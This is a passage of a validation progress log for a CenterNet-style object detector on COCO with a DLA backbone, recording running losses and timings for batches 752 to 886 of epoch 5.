0.022s ctdet/coco_dla| val: [5][752/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9676 |hm_loss 0.6586 |wh_loss 2.6376 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][753/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9664 |hm_loss 0.6578 |wh_loss 2.6341 |off_loss 0.0452 |Data 0.015s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][754/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9652 |hm_loss 0.6570 |wh_loss 2.6306 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][755/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9640 |hm_loss 0.6562 |wh_loss 2.6271 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][756/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9628 |hm_loss 0.6554 |wh_loss 2.6237 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][757/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9616 |hm_loss 0.6546 |wh_loss 2.6202 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][758/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9604 |hm_loss 0.6538 |wh_loss 2.6168 |off_loss 0.0449 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][759/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9592 |hm_loss 0.6530 |wh_loss 2.6133 |off_loss 0.0449 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][760/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9580 |hm_loss 0.6522 |wh_loss 2.6099 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][761/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9568 |hm_loss 0.6514 |wh_loss 2.6065 |off_loss 0.0448 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][762/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9557 |hm_loss 0.6507 |wh_loss 2.6030 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][763/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9545 |hm_loss 0.6499 |wh_loss 2.5996 |off_loss 0.0446 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][764/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9533 |hm_loss 0.6491 |wh_loss 2.5962 |off_loss 0.0446 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][765/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9521 |hm_loss 0.6483 |wh_loss 2.5928 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][766/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9509 |hm_loss 0.6475 |wh_loss 2.5895 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][767/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9498 |hm_loss 0.6468 |wh_loss 2.5861 |off_loss 0.0444 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][768/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9486 |hm_loss 0.6460 |wh_loss 2.5827 |off_loss 0.0444 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][769/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9474 |hm_loss 0.6452 |wh_loss 2.5794 |off_loss 0.0443 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][770/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9463 |hm_loss 0.6444 |wh_loss 2.5760 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][771/2110]|Tot: 0:00:16 |ETA: 0:00:00 |loss 0.9451 |hm_loss 0.6437 |wh_loss 2.5727 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][772/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9440 |hm_loss 0.6429 |wh_loss 2.5694 |off_loss 0.0441 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][773/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9428 |hm_loss 0.6422 |wh_loss 2.5660 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][774/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9417 |hm_loss 0.6414 |wh_loss 2.5627 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][775/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9405 |hm_loss 0.6406 |wh_loss 2.5594 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][776/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9394 |hm_loss 0.6399 |wh_loss 2.5561 |off_loss 0.0439 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][777/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9383 |hm_loss 0.6391 |wh_loss 2.5529 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][778/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9371 |hm_loss 0.6384 |wh_loss 2.5496 |off_loss 0.0438 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][779/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9360 |hm_loss 0.6376 |wh_loss 2.5463 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][780/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9348 |hm_loss 0.6369 |wh_loss 2.5431 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][781/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9337 |hm_loss 0.6361 |wh_loss 2.5398 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][782/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9326 |hm_loss 0.6354 |wh_loss 2.5366 |off_loss 0.0436 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][783/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9315 |hm_loss 0.6346 |wh_loss 2.5333 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][784/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9303 |hm_loss 0.6339 |wh_loss 2.5301 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][785/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9292 |hm_loss 0.6332 |wh_loss 2.5269 |off_loss 0.0434 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][786/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9281 |hm_loss 0.6324 |wh_loss 2.5237 |off_loss 0.0433 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][787/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9270 |hm_loss 0.6317 |wh_loss 2.5205 |off_loss 0.0433 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][788/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9259 |hm_loss 0.6309 |wh_loss 2.5173 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][789/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9248 |hm_loss 0.6302 |wh_loss 2.5141 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][790/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9237 |hm_loss 0.6295 |wh_loss 2.5109 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][791/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9226 |hm_loss 0.6288 |wh_loss 2.5077 |off_loss 0.0431 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][792/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9215 |hm_loss 0.6280 |wh_loss 2.5046 |off_loss 0.0430 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][793/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9204 |hm_loss 0.6273 |wh_loss 2.5014 |off_loss 0.0430 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][794/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9193 |hm_loss 0.6266 |wh_loss 2.4983 |off_loss 0.0429 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][795/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9182 |hm_loss 0.6259 |wh_loss 2.4951 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][796/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9171 |hm_loss 0.6251 |wh_loss 2.4920 |off_loss 0.0428 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][797/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9161 |hm_loss 0.6244 |wh_loss 2.4889 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][798/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9150 |hm_loss 0.6237 |wh_loss 2.4858 |off_loss 0.0427 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][799/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9139 |hm_loss 0.6230 |wh_loss 2.4827 |off_loss 0.0426 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][800/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9128 |hm_loss 0.6223 |wh_loss 2.4796 |off_loss 0.0426 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][801/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9192 |hm_loss 0.6261 |wh_loss 2.5027 |off_loss 0.0428 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][802/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9251 |hm_loss 0.6299 |wh_loss 2.5222 |off_loss 0.0429 |Data 0.008s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][803/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9309 |hm_loss 0.6340 |wh_loss 2.5353 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][804/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9373 |hm_loss 0.6383 |wh_loss 2.5491 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][805/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9429 |hm_loss 0.6428 |wh_loss 2.5587 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][806/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9475 |hm_loss 0.6473 |wh_loss 2.5600 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][807/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9529 |hm_loss 0.6518 |wh_loss 2.5640 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][808/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9591 |hm_loss 0.6563 |wh_loss 2.5780 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][809/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9656 |hm_loss 0.6608 |wh_loss 2.5968 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][810/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9731 |hm_loss 0.6654 |wh_loss 2.6207 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][811/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9796 |hm_loss 0.6699 |wh_loss 2.6381 |off_loss 0.0459 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][812/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9784 |hm_loss 0.6691 |wh_loss 2.6349 |off_loss 0.0458 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][813/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9773 |hm_loss 0.6684 |wh_loss 2.6316 |off_loss 0.0458 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][814/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9761 |hm_loss 0.6676 |wh_loss 2.6284 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][815/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9750 |hm_loss 0.6668 |wh_loss 2.6252 |off_loss 0.0457 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][816/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9739 |hm_loss 0.6661 |wh_loss 2.6220 |off_loss 0.0456 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][817/2110]|Tot: 0:00:17 |ETA: 0:00:00 |loss 0.9728 |hm_loss 0.6653 |wh_loss 2.6188 |off_loss 0.0455 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][818/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9716 |hm_loss 0.6646 |wh_loss 2.6156 |off_loss 0.0455 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][819/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9705 |hm_loss 0.6638 |wh_loss 2.6124 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][820/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9694 |hm_loss 0.6631 |wh_loss 2.6092 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][821/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9683 |hm_loss 0.6623 |wh_loss 2.6060 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][822/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9672 |hm_loss 0.6616 |wh_loss 2.6029 |off_loss 0.0453 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][823/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9660 |hm_loss 0.6609 |wh_loss 2.5997 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][824/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9649 |hm_loss 0.6601 |wh_loss 2.5966 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][825/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9638 |hm_loss 0.6594 |wh_loss 2.5934 |off_loss 0.0451 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][826/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9627 |hm_loss 0.6587 |wh_loss 2.5903 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][827/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9616 |hm_loss 0.6579 |wh_loss 2.5871 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][828/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9605 |hm_loss 0.6572 |wh_loss 2.5840 |off_loss 0.0449 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][829/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9594 |hm_loss 0.6565 |wh_loss 2.5809 |off_loss 0.0449 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][830/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9583 |hm_loss 0.6557 |wh_loss 2.5778 |off_loss 0.0448 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][831/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9572 |hm_loss 0.6550 |wh_loss 2.5747 |off_loss 0.0448 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][832/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9562 |hm_loss 0.6543 |wh_loss 2.5716 |off_loss 0.0447 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][833/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9551 |hm_loss 0.6536 |wh_loss 2.5685 |off_loss 0.0447 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][834/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9540 |hm_loss 0.6528 |wh_loss 2.5655 |off_loss 0.0446 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][835/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9529 |hm_loss 0.6521 |wh_loss 2.5624 |off_loss 0.0446 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][836/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9518 |hm_loss 0.6514 |wh_loss 2.5593 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][837/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9508 |hm_loss 0.6507 |wh_loss 2.5563 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][838/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9497 |hm_loss 0.6500 |wh_loss 2.5532 |off_loss 0.0444 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][839/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9486 |hm_loss 0.6493 |wh_loss 2.5502 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][840/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9476 |hm_loss 0.6485 |wh_loss 2.5472 |off_loss 0.0443 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][841/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9465 |hm_loss 0.6478 |wh_loss 2.5441 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][842/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9454 |hm_loss 0.6471 |wh_loss 2.5411 |off_loss 0.0442 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][843/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9444 |hm_loss 0.6464 |wh_loss 2.5381 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][844/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9433 |hm_loss 0.6457 |wh_loss 2.5351 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][845/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9423 |hm_loss 0.6450 |wh_loss 2.5321 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][846/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9412 |hm_loss 0.6443 |wh_loss 2.5291 |off_loss 0.0440 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][847/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9402 |hm_loss 0.6436 |wh_loss 2.5261 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][848/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9391 |hm_loss 0.6429 |wh_loss 2.5232 |off_loss 0.0439 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][849/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9381 |hm_loss 0.6422 |wh_loss 2.5202 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][850/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9370 |hm_loss 0.6415 |wh_loss 2.5172 |off_loss 0.0438 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][851/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9360 |hm_loss 0.6408 |wh_loss 2.5143 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][852/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9350 |hm_loss 0.6402 |wh_loss 2.5113 |off_loss 0.0437 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][853/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9339 |hm_loss 0.6395 |wh_loss 2.5084 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][854/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9329 |hm_loss 0.6388 |wh_loss 2.5054 |off_loss 0.0436 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][855/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9319 |hm_loss 0.6381 |wh_loss 2.5025 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][856/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9308 |hm_loss 0.6374 |wh_loss 2.4996 |off_loss 0.0435 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][857/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9298 |hm_loss 0.6367 |wh_loss 2.4967 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][858/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9288 |hm_loss 0.6361 |wh_loss 2.4938 |off_loss 0.0434 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][859/2110]|Tot: 0:00:18 |ETA: 0:00:00 |loss 0.9278 |hm_loss 0.6354 |wh_loss 2.4909 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][860/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9268 |hm_loss 0.6347 |wh_loss 2.4880 |off_loss 0.0433 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][861/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9257 |hm_loss 0.6340 |wh_loss 2.4851 |off_loss 0.0432 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][862/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9247 |hm_loss 0.6334 |wh_loss 2.4822 |off_loss 0.0432 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][863/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9237 |hm_loss 0.6327 |wh_loss 2.4793 |off_loss 0.0431 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][864/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9227 |hm_loss 0.6320 |wh_loss 2.4765 |off_loss 0.0431 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][865/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9217 |hm_loss 0.6313 |wh_loss 2.4736 |off_loss 0.0430 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][866/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9301 |hm_loss 0.6354 |wh_loss 2.5145 |off_loss 0.0432 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][867/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9380 |hm_loss 0.6395 |wh_loss 2.5477 |off_loss 0.0437 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][868/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9446 |hm_loss 0.6435 |wh_loss 2.5699 |off_loss 0.0440 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][869/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9503 |hm_loss 0.6477 |wh_loss 2.5847 |off_loss 0.0441 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][870/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9565 |hm_loss 0.6519 |wh_loss 2.6014 |off_loss 0.0445 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][871/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9637 |hm_loss 0.6559 |wh_loss 2.6295 |off_loss 0.0448 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][872/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9709 |hm_loss 0.6598 |wh_loss 2.6583 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][873/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9770 |hm_loss 0.6634 |wh_loss 2.6807 |off_loss 0.0456 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][874/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9759 |hm_loss 0.6627 |wh_loss 2.6777 |off_loss 0.0455 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][875/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9749 |hm_loss 0.6620 |wh_loss 2.6746 |off_loss 0.0454 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][876/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9738 |hm_loss 0.6613 |wh_loss 2.6716 |off_loss 0.0454 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][877/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9728 |hm_loss 0.6606 |wh_loss 2.6685 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][878/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9717 |hm_loss 0.6599 |wh_loss 2.6655 |off_loss 0.0453 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][879/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9707 |hm_loss 0.6592 |wh_loss 2.6625 |off_loss 0.0452 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][880/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9696 |hm_loss 0.6585 |wh_loss 2.6594 |off_loss 0.0452 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][881/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9686 |hm_loss 0.6578 |wh_loss 2.6564 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][882/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9676 |hm_loss 0.6571 |wh_loss 2.6534 |off_loss 0.0451 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][883/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9665 |hm_loss 0.6564 |wh_loss 2.6504 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][884/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9655 |hm_loss 0.6558 |wh_loss 2.6474 |off_loss 0.0450 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][885/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9645 |hm_loss 0.6551 |wh_loss 2.6444 |off_loss 0.0449 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][886/2110]|Tot: 0:00:19 |ETA: 0:00:00 |loss 0.9634 |hm_loss 0.6544 |wh_loss 2.6415 |off_loss 0.0449 |Data 0.000s(0.001s) |Net 0.022s 